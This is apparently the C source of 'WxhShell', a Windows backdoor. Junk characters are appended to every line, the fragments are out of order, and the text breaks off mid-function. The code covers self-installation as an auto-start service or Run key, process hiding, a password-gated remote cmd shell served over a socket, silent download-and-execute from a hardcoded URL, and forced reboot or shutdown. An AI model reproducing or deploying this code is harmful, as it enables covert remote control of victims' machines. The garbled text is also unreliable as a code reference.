    break; [AFR \{  
    } Xmmj.ZUr  
  // 关机 x4kQGe(  
  case 'd': { ]lGkZyU hI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zwQ#Yvd  
    if(Boot(SHUTDOWN)) 8hww({S2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 30I-E ._F  
    else { qm_r~j  
    closesocket(wsh); zp9lu B  
    ExitThread(0); :yJ#yad  
    } 3<)][<Ud  
    break; (bI/s'?K  
    } )Az0.}  
  // 获取shell w$&;s<0  
  case 's': { .u&X:jOE  
    CmdShell(wsh); =[aiW|Y  
    closesocket(wsh); A?n5;mvq#  
    ExitThread(0); bydI+pVMo  
    break; Q1kM 4Up  
  } Qo3Enwap=  
  // 退出 "\+\,C  
  case 'x': { -XnIDXM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3dZj<(.  
    CloseIt(wsh); :/PxfN5  
    break; _8PNMbv{  
    } 'tMD=MH  
  // 离开 !} x-o`a5  
  case 'q': { mBye)q$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); //r)dN^  
    closesocket(wsh); s."N7F  
    WSACleanup(); be-HF;lZe'  
    exit(1); @`B_Q v@  
    break; S/eplz;  
        } -0`n(`2  
  } er BerbEEH  
  } { **W7\h  
*@@dO_%6  
  // 提示信息 4!ZT_q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >@G"*le*)  
} y~OP9Tg  
  } mIrN~)C4\  
FnOa hLS  
  return; >U\P^yU  
} ]T5\LNyN  
|DsT $ ~D  
// shell模块句柄 Dh}d-m_5  
int CmdShell(SOCKET sock)  Uv<nJM  
{ _@)-#7  
STARTUPINFO si; ^u90N>Dvq  
ZeroMemory(&si,sizeof(si)); q3v5gz^t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ntPX?/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N2j^fZd_  
PROCESS_INFORMATION ProcessInfo; WCqa[=v)t  
char cmdline[]="cmd"; qM3NQ8Rm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b$ 8R  
  return 0; W%&s$b(  
} ?%ltoezf  
-+2A@kmEJ  
// 自身启动模式 4%<wxrod  
int StartFromService(void) G[`2Nd<  
{ PD^ 6Ywn>s  
typedef struct /={N^8^=x  
{ u^'X>n)oL#  
  DWORD ExitStatus; +o,f:Ih  
  DWORD PebBaseAddress; %)d7iT~M  
  DWORD AffinityMask; G"L`9E<0V  
  DWORD BasePriority; 3,hu3"@k  
  ULONG UniqueProcessId; Hd-g|'^K  
  ULONG InheritedFromUniqueProcessId; 805oV(-  
}   PROCESS_BASIC_INFORMATION; P%R9\iajH  
;ioF'ov  
PROCNTQSIP NtQueryInformationProcess; Zf??/+[  
fpO2bD%$8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l  LBzY`j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M= 3w  
j-i>Jd7  
  HANDLE             hProcess; 6h&t%T  
  PROCESS_BASIC_INFORMATION pbi; \v{HjqVkC  
QAl4w)F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6N Ogi  
  if(NULL == hInst ) return 0; bQN3\mvY  
 )L":I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &Wdi 5T8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !"E/6z2&(k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;>5]KNj  
Dequ'  
  if (!NtQueryInformationProcess) return 0; uB6Mj dp6  
?djH!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I^n,v) 8  
  if(!hProcess) return 0; JXt_  
Ck m:;q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aehB,l0  
_T805<aUW\  
  CloseHandle(hProcess); M,oZ_tY%  
Ui1s ]R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -i91nMi]  
if(hProcess==NULL) return 0; #Lk~{  
x.Ny@l%]  
HMODULE hMod; 8NNs_~+x}  
char procName[255]; ;Vf{3  
unsigned long cbNeeded; 5vS[{;<&  
tU!Yg"4Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fb[lL7  
!N][W#:  
  CloseHandle(hProcess); UbIUc}ge  
=jxy4`oF  
if(strstr(procName,"services")) return 1; // 以服务启动 "|,KXv')  
~GJ;;v1b2  
  return 0; // 注册表启动 /Q89y[  
} Q TN24 q4  
#_IuB) qy  
// 主模块 { +Wknm%  
int StartWxhshell(LPSTR lpCmdLine) oxI?7dy5  
{ 7G Erh,  
  SOCKET wsl; `6#s+JA[  
BOOL val=TRUE; VH+3o?nrT  
  int port=0; 1TGE>HG  
  struct sockaddr_in door; w7q6v>  
MIiBNNURX  
  if(wscfg.ws_autoins) Install(); 'X4)2iFV  
Oi@|4mo  
port=atoi(lpCmdLine); 7@k3-?q  
G-:7,9  
if(port<=0) port=wscfg.ws_port; Qs#;sy W@~  
n`jG[{3t&  
  WSADATA data; 6T_Ya)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cc1M9kVi  
0$=U\[og  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]HXHz(?;F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Oc.8d<  
  door.sin_family = AF_INET; '0o^T 7C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t0/Ol'kgs  
  door.sin_port = htons(port); cBOt=vg,5  
Rz&}e@stl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1M55!b  
closesocket(wsl); |(,{&\  
return 1;  =Uo*-EH  
} d{B0a1P  
bcxR7<T,"9  
  if(listen(wsl,2) == INVALID_SOCKET) { ;nAx@_ab^  
closesocket(wsl);  <pD  
return 1; ?s)6 YF  
} -QBM^L  
  Wxhshell(wsl); ;K4uu<e \  
  WSACleanup(); 6o(.zk`d  
/t2H%#v{  
return 0; *Utx0Me  
2FO<Z %Y  
} \CS4aIp  
n!Y}D:6c6  
// 以NT服务方式启动 xbHI 4A"Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X%B$*y5  
{ e5; YY  
DWORD   status = 0; +br' 2Pn  
  DWORD   specificError = 0xfffffff; bwszfPM  
W?ghG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VyNU<}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Es\J%*\u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DPmY_[OAE  
  serviceStatus.dwWin32ExitCode     = 0; .vi0DuD6  
  serviceStatus.dwServiceSpecificExitCode = 0; ^4Se=Hr z2  
  serviceStatus.dwCheckPoint       = 0; qa8?bNd'f  
  serviceStatus.dwWaitHint       = 0; fgF@ x  
/V] i3ac  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p=i6~   
  if (hServiceStatusHandle==0) return; 8A-*MU`+  
9.#")%_p  
status = GetLastError(); #8BI`.t)j  
  if (status!=NO_ERROR) X_Pbbx_j  
{ z-sq9Qp&x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GyFA1%(o  
    serviceStatus.dwCheckPoint       = 0; \~U:k4  
    serviceStatus.dwWaitHint       = 0; e~R_bBQ0  
    serviceStatus.dwWin32ExitCode     = status; a6It1%a+  
    serviceStatus.dwServiceSpecificExitCode = specificError; MFWkJbZV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y;P%=M P  
    return; i2[8^o`_  
  } ,&* BhUC  
Y OvhMi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2jkma :$'  
  serviceStatus.dwCheckPoint       = 0; a`eb9o#  
  serviceStatus.dwWaitHint       = 0; Bw[#,_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zQ u9LN  
} #%#N.tB 5  
^bdXzjf  
// 处理NT服务事件,比如:启动、停止 |;p.!FO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4gmlK,a  
{ Lso%1M  
switch(fdwControl) EyBTja(4  
{ 'bg'^PN>z  
case SERVICE_CONTROL_STOP: C?<-`$0  
  serviceStatus.dwWin32ExitCode = 0; y T&#k1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z  61Fq  
  serviceStatus.dwCheckPoint   = 0; e9QjRx  
  serviceStatus.dwWaitHint     = 0; {QOy' 8 /  
  { #)S&Z><<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7lwFxP5QT  
  } ) <w`:wD  
  return; U5?QneK  
case SERVICE_CONTROL_PAUSE: t23W=U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^L.'At  
  break; 13Q87i5B  
case SERVICE_CONTROL_CONTINUE: RfCu5Kn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =xSf-\F  
  break; G}}Lp~  
case SERVICE_CONTROL_INTERROGATE: sEL0h4  
  break; |fgh ryI,  
}; #hXvGon$?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NJQy*~P  
} 6%wlz%Fp  
"t-9q  
// 标准应用程序主函数 W!+=`[Ff  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;Uy}(  
{ r-]%R:U*  
w:=:D=xH2  
// 获取操作系统版本 6 Pdao{P  
OsIsNt=GetOsVer(); q{f (T\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rD !GEU  
2{oQ  
  // 从命令行安装 oMoco tQ;$  
  if(strpbrk(lpCmdLine,"iI")) Install(); O]!o|w(  
'UuHyC2Ha3  
  // 下载执行文件 IQ xi@7%&  
if(wscfg.ws_downexe) { D )Jac@,0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HTm`_}G9  
  WinExec(wscfg.ws_filenam,SW_HIDE); >8$Lqj^i  
} ::cI4D  
2gEF$?+q?  
if(!OsIsNt) { Ya!PV&"Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 _C|j"f/}  
HideProc(); KYz@H#M  
StartWxhshell(lpCmdLine); g{kjd2  
} 7fl{<uf  
else s={IKU&m[  
  if(StartFromService()) e :T9f('  
  // 以服务方式启动 GSfU*@L3  
  StartServiceCtrlDispatcher(DispatchTable); >CHb;*U  
else T?tZ?!6  
  // 普通方式启动 t=jG$A  
  StartWxhshell(lpCmdLine); # 00?]6`z  
{V8uk $  
return 0; u?'J1\z  
} p$*P@qm  
~I~lb/  
F9A5}/\  
=&DuQvN,  
=========================================== sJ5#T iX  
%D% Ok7s})  
+NeoGnj  
$)6M@S  
ni<\ AF]`  
8u1?\SYnb  
" <vxTfE@>bp  
}2Y`Lr  
#include <stdio.h> (''w$qq"D  
#include <string.h> 7=qvu&{  
#include <windows.h> VM;vLUu!e  
#include <winsock2.h> ob|^lAU  
#include <winsvc.h> ocpM6b.fK  
#include <urlmon.h> ,H$%'s1I(  
,&Vir)S  
#pragma comment (lib, "Ws2_32.lib") kN 0N18E  
#pragma comment (lib, "urlmon.lib") <5G 4|l  
]x%sX|Rj  
#define MAX_USER   100 // 最大客户端连接数 F4ylD5Y!  
#define BUF_SOCK   200 // sock buffer x<.(fRv   
#define KEY_BUFF   255 // 输入 buffer ^}J,;Zhu5  
.;(a;f+{;  
#define REBOOT     0   // 重启 19%zcYTe  
#define SHUTDOWN   1   // 关机 C3 BoH&  
d vo|9 >  
#define DEF_PORT   5000 // 监听端口 lB!M;2^)X  
gQ<{NQMzvd  
#define REG_LEN     16   // 注册表键长度 Xxj<Ai 2  
#define SVC_LEN     80   // NT服务名长度 4RH>i+)pS\  
0}'/3Q  
// 从dll定义API K%u>'W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v`p@djM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +Z]}ce u"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DUg[L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w>'3}o(nY  
`91Z]zGpU  
// wxhshell配置信息 Cj/!m  
struct WSCFG { Mf7 [@#$  
  int ws_port;         // 监听端口 b+L!p.:  
  char ws_passstr[REG_LEN]; // 口令 QC6QqcOX  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]!s@FKC{;  
  char ws_regname[REG_LEN]; // 注册表键名 b tbuE  
  char ws_svcname[REG_LEN]; // 服务名 z<J2e^j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RS@G.|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :u)Qs#'29  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YHxQb$v)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uh>"TeOi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '+c@U~d*7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lAo4)  
Y3 -f68*(  
}; xZ SDA8kS  
]Z52L`k  
// default Wxhshell configuration }VHvC"   
struct WSCFG wscfg={DEF_PORT, ~&"'>C#  
    "xuhuanlingzhe", H wz$zF+R  
    1, bkrl>Im<n  
    "Wxhshell", . +,{|){c  
    "Wxhshell", CdtCxy5  
            "WxhShell Service", lAGntYv  
    "Wrsky Windows CmdShell Service", +x~p&,w?  
    "Please Input Your Password: ", 0oqOX  
  1, vJsg6oH  
  "http://www.wrsky.com/wxhshell.exe", 7$8DMBqq  
  "Wxhshell.exe" AOz~@i^  
    }; +4Q1s?`  
7;Vmbt9  
// 消息定义模块 '?LqVzZI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -<e_^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /"^XrVi-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <q&i"[^M  
char *msg_ws_ext="\n\rExit."; |;I"Oc.w^R  
char *msg_ws_end="\n\rQuit."; 7f<@+&  
char *msg_ws_boot="\n\rReboot..."; 1Ve~P"w  
char *msg_ws_poff="\n\rShutdown..."; ~B7<Yg  
char *msg_ws_down="\n\rSave to "; VZ7E#z+nM#  
*?>52 -&b  
char *msg_ws_err="\n\rErr!"; ih |&q  
char *msg_ws_ok="\n\rOK!"; czB),vooz  
b'vIX< g  
char ExeFile[MAX_PATH]; _ D"S  
int nUser = 0; Qo*OC 9E`  
HANDLE handles[MAX_USER]; : ?>yi7w  
int OsIsNt;  &'?Hh(  
- rI4_Dl  
SERVICE_STATUS       serviceStatus; M-e|$'4u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z4m+GFY  
Q9Go}}n  
// 函数声明 Z|A+\#'  
int Install(void); Digx#'#jf  
int Uninstall(void); %/SHB  
int DownloadFile(char *sURL, SOCKET wsh); v+( P4f S  
int Boot(int flag); p4 $4;)  
void HideProc(void); `7.$ A U  
int GetOsVer(void); ij.NSyk9  
int Wxhshell(SOCKET wsl); Z2-"NB  
void TalkWithClient(void *cs); aY DM)b}  
int CmdShell(SOCKET sock); =4OV }z=I  
int StartFromService(void); }C$D-fH8sW  
int StartWxhshell(LPSTR lpCmdLine); nj-LG!"a  
1KjzKFnb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q@"!uB.e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zQ(`pld  
!wZIXpeL  
// 数据结构和表定义 Pjq()\/[Z  
SERVICE_TABLE_ENTRY DispatchTable[] = UMHFq-  
{ b=SCyGxlZ5  
{wscfg.ws_svcname, NTServiceMain}, IBW-[lr7  
{NULL, NULL} `trcYmR=k  
}; 6LqF*$+$`  
Hr \vu`p$  
// 自我安装 :!FGvR6  
int Install(void) @ *5+ZAF  
{ v"<M ~9T)  
  char svExeFile[MAX_PATH]; H8m[:K]_H  
  HKEY key; R{6M(!x  
  strcpy(svExeFile,ExeFile); } V"A;5j`  
WE+Szg(4x  
// 如果是win9x系统,修改注册表设为自启动 [}}q/7Lp  
if(!OsIsNt) { sWi4+PAM0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sae*VvT6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N,*'")k9  
  RegCloseKey(key); vtc%MG1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ga pM~~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /!60oV4p0  
  RegCloseKey(key); Q@*9|6-  
  return 0; ?!3u ?Kd  
    } O8-Z >;  
  } a%QgL&_5  
} anORoK.  
else { u]]mbER*t#  
u_b6u@r7  
// 如果是NT以上系统,安装为系统服务 n;>r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FS*J8)  
if (schSCManager!=0) " ^!=e72  
{ F3x*dq2  
  SC_HANDLE schService = CreateService cb/$P!j7  
  ( qV-1aaA  
  schSCManager, uX6rCokr  
  wscfg.ws_svcname, & sXMB  
  wscfg.ws_svcdisp, : z\||f  
  SERVICE_ALL_ACCESS, kZfj"+p_S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eu//Q'W  
  SERVICE_AUTO_START, *g4Uo{  
  SERVICE_ERROR_NORMAL, ![eipOX  
  svExeFile, 7324#HwS  
  NULL, 5JG`FRW!  
  NULL, om6`>I*  
  NULL, Vygh|UEo  
  NULL,  Gc;-zq  
  NULL /sqfw,h@  
  ); f*^bV_  
  if (schService!=0) SjcX|=S  
  { Z}3;Ych  
  CloseServiceHandle(schService); wp@6RJ  
  CloseServiceHandle(schSCManager); kc2 8Q2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jV<5GWq  
  strcat(svExeFile,wscfg.ws_svcname); +^.xLTX`$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wxi;Tq9C@_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q v},X~^R  
  RegCloseKey(key); g9IIC5  
  return 0; jPg[LZQ'  
    }  J@J`)  
  } }Q-Tw,j  
  CloseServiceHandle(schSCManager); |:`)sx3@#  
} lGJ&\Lv:  
} v2YU2-X[  
BLm}mb#/{  
return 1; 1\/~>  
} AU;Iif6  
|_a^+!P  
// 自我卸载 }T53y6J#  
int Uninstall(void) <d{>[R)  
{ U?Vik  
  HKEY key; t{Ks}9B  
bKh}Y`  
if(!OsIsNt) { ft!D2M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x@|10GC#:  
  RegDeleteValue(key,wscfg.ws_regname); _J,*0~O$  
  RegCloseKey(key); Jt)J1CA Yo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F'ez{ B\AX  
  RegDeleteValue(key,wscfg.ws_regname); gUiZv8C  
  RegCloseKey(key); DP!8c  
  return 0; J@rBrKC  
  } Ki /j\  
} JQW7y!Z  
} D"{%[;J  
else { zJOyr"B'8  
9|K :\!7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0 Cyus  
if (schSCManager!=0) VI.Cmw~S  
{ "DRiJ.|APs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B.);Ju  
  if (schService!=0) g$z6*bL  
  { +Edq4QYwR  
  if(DeleteService(schService)!=0) { G%CS1#  
  CloseServiceHandle(schService); +5%ncSJx  
  CloseServiceHandle(schSCManager); V! .I>  
  return 0; H<q z rO  
  } tNAmA  
  CloseServiceHandle(schService); -JclEp  
  } )?( _vrc<  
  CloseServiceHandle(schSCManager); SN$3cg]z  
} ,5x9o"N!  
} yEVnG` 1  
_gpf9ad  
return 1; E:P_CDSd]  
} "a<:fEsSE  
C~M,N|m+^  
// 从指定url下载文件 qI[AsM+  
int DownloadFile(char *sURL, SOCKET wsh) Io('kCOR;  
{ unr`.}A2>  
  HRESULT hr; mlz|KI~\F;  
char seps[]= "/"; HrRw  
char *token; V\AF%=6}  
char *file; 'Xasd3*Py  
char myURL[MAX_PATH]; 02^Nf7DMR  
char myFILE[MAX_PATH]; )0=H)k0  
G(1_P1  
strcpy(myURL,sURL); R-Y 7I  
  token=strtok(myURL,seps); {k']nI.>  
  while(token!=NULL) `a@YbuLd  
  { D% 2S!  
    file=token; ?VyiR40-Cx  
  token=strtok(NULL,seps); Uu|R]azbO  
  } 6)~7Uf:<v  
Zy>y7O(,  
GetCurrentDirectory(MAX_PATH,myFILE); M2A_T.F=H  
strcat(myFILE, "\\"); sDkO!P  
strcat(myFILE, file); TR:4$92:H  
  send(wsh,myFILE,strlen(myFILE),0); WKq{g+a  
send(wsh,"...",3,0); ^KQZ;[B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :=K+~?  
  if(hr==S_OK) gbu)bqu2x  
return 0; mqiCn]8G  
else =ibKdPtTh^  
return 1; L; <Pod  
IkQ,#Bsb[  
} bFJ>+ {#  
9Wdx"g52_D  
// 系统电源模块 r$,Xv+}  
int Boot(int flag) U bh)}G,Mg  
{ )OFf nKh  
  HANDLE hToken; fD2 N}  
  TOKEN_PRIVILEGES tkp; Na+3aM%%  
Qgq VbJP"  
  if(OsIsNt) { |sAl k,8s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !@FzP@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QPB ^%8  
    tkp.PrivilegeCount = 1; V:lKF')  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3.Jk-:u %m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nMBF/75  
if(flag==REBOOT) { X//=OpS`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @\U] hN?  
  return 0; w|-m*v .  
} 4@Bl 1b[<  
else { Q|7m9~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )p{,5"0u  
  return 0; p }3$7CR/  
} R^yh,  
  } -E.fo._L5  
  else { R vd'uIJ  
if(flag==REBOOT) { (:RYd6i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3O|2Z~>3  
  return 0; Bsj^R\  
} QGnUPiD^  
else { VP1 z"j:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dp?lgw  
  return 0; ,S&p\(r.  
} ].@8/. rg  
} |Pv)&'B"  
k: z)Sw  
return 1; "XU)(<p  
} U(hIT9  
?',GRaD  
// win9x进程隐藏模块 ^g"%:4zO  
void HideProc(void) ZSLvr-,D  
{ *EFuK8 ;  
$ou/ Fn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s6Il3K f  
  if ( hKernel != NULL ) `X(H,Q}*;  
  { )c<[@ ::i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QvlV jDIy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yL23 Nqe  
    FreeLibrary(hKernel); j/1 f|x  
  } Z5@E|O&  
mJsU7bD`  
return; 12l1u[TlS  
} !HF<fn  
8k^1:gt^  
// 获取操作系统版本 ~bgM*4GW  
int GetOsVer(void) 6|1*gl1_LD  
{ 4p>,  
  OSVERSIONINFO winfo; -v9x tNg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H?;@r1ZAn  
  GetVersionEx(&winfo); u0%bv\$m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9T<k|b[6  
  return 1; "71Y{WQ   
  else EnEaUb?P  
  return 0; RP9~n)h~b  
} *`t3z-L  
)qRE['M  
// 客户端句柄模块 !z]{zM%  
int Wxhshell(SOCKET wsl) %]o/p_<  
{ &jh17y  
  SOCKET wsh; Nh^q&[?  
  struct sockaddr_in client; {z@a{L:SC  
  DWORD myID; Q'aVdJN,  
ov1#BeQ  
  while(nUser<MAX_USER) ob9=/ R?i  
{ Xv xrz{  
  int nSize=sizeof(client); ,v#3A7"yW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0hq\{pw_y*  
  if(wsh==INVALID_SOCKET) return 1; 8TYoa:pZ  
<m%ZDOMa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m" ]VQnQ  
if(handles[nUser]==0) zRB LkrC  
  closesocket(wsh); a@! O}f*  
else |wyua@2  
  nUser++; SfPtG  
  } Gyc _B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <,J O  
u`pw'3hY  
  return 0; [+qB^6I+P%  
} l=47#zbpZ]  
sRflabl *x  
// 关闭 socket _Bhd@S!  
void CloseIt(SOCKET wsh) =P,pW  
{ K~~LJU3  
closesocket(wsh); /pJr%}sc  
nUser--; \+<=O`  
ExitThread(0); d26#0Gt-4i  
} e/$M6l$Q*4  
ONLhQJCb  
// 客户端请求句柄 `* cJc6  
void TalkWithClient(void *cs) :e\M~n+y  
{ 9!6u Yf+  
|wuN`;gc"  
  SOCKET wsh=(SOCKET)cs; 6df`]s c  
  char pwd[SVC_LEN]; B. #-@  
  char cmd[KEY_BUFF]; (i-L:  
char chr[1]; m[Qr>="  
int i,j; {T3wOi  
X @X`,/{X  
  while (nUser < MAX_USER) { iN2591S  
ucUu hS5  
if(wscfg.ws_passstr) { #_zj5B38E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jIWX6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T;3B_ lu]  
  //ZeroMemory(pwd,KEY_BUFF); 0&c<1;  
      i=0; Rd|^C$6  
  while(i<SVC_LEN) { J$ &2GAi  
rWJKK  
  // 设置超时 9/O\769"'  
  fd_set FdRead; m [BV{25  
  struct timeval TimeOut; \mw5 ~Rf;  
  FD_ZERO(&FdRead); >dwY( a  
  FD_SET(wsh,&FdRead); Hh%|}*f_,  
  TimeOut.tv_sec=8; 'i 8`LPQ  
  TimeOut.tv_usec=0; pMkM@OH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +l<;?yk:;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |C7=$DgwY  
S0;s 7X#c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cK'}+  
  pwd=chr[0]; ;>Z0e`=  
  if(chr[0]==0xd || chr[0]==0xa) { vH6.;j'^  
  pwd=0; TU9$5l/;g  
  break; N'?#g`*KW  
  } K\5/||gi  
  i++; ge% tj O  
    } m21H68y  
4cDe'9 LA  
  // 如果是非法用户,关闭 socket b>nwX9Y/U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T|uG1  
} _"82W^Wi  
Nk?/vMaw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]F"@+_E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Vf].l:kn  
xxpzz(S ]A  
while(1) { 8>(/:u_x  
mA5sK?W  
  ZeroMemory(cmd,KEY_BUFF); mh#_lbe'  
7M$cIWe$  
      // 自动支持客户端 telnet标准   M?I^`6IOc8  
  j=0; vP,$S^7$  
  while(j<KEY_BUFF) { O*c<m,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l@>@2CB  
  cmd[j]=chr[0]; / &yc?Ui  
  if(chr[0]==0xa || chr[0]==0xd) { `=2p6<#z  
  cmd[j]=0; Om2w+yU  
  break; 66scBi_d  
  } O?iLLfs  
  j++; H )Ze{N  
    } }zrapL"9X  
`|4k>5k  
  // 下载文件 `Cz_^>]|=  
  if(strstr(cmd,"http://")) { KR>o 2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :71St '  
  if(DownloadFile(cmd,wsh)) [f=Y*=u9,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1/c+ug!y  
  else % ejq|i7  
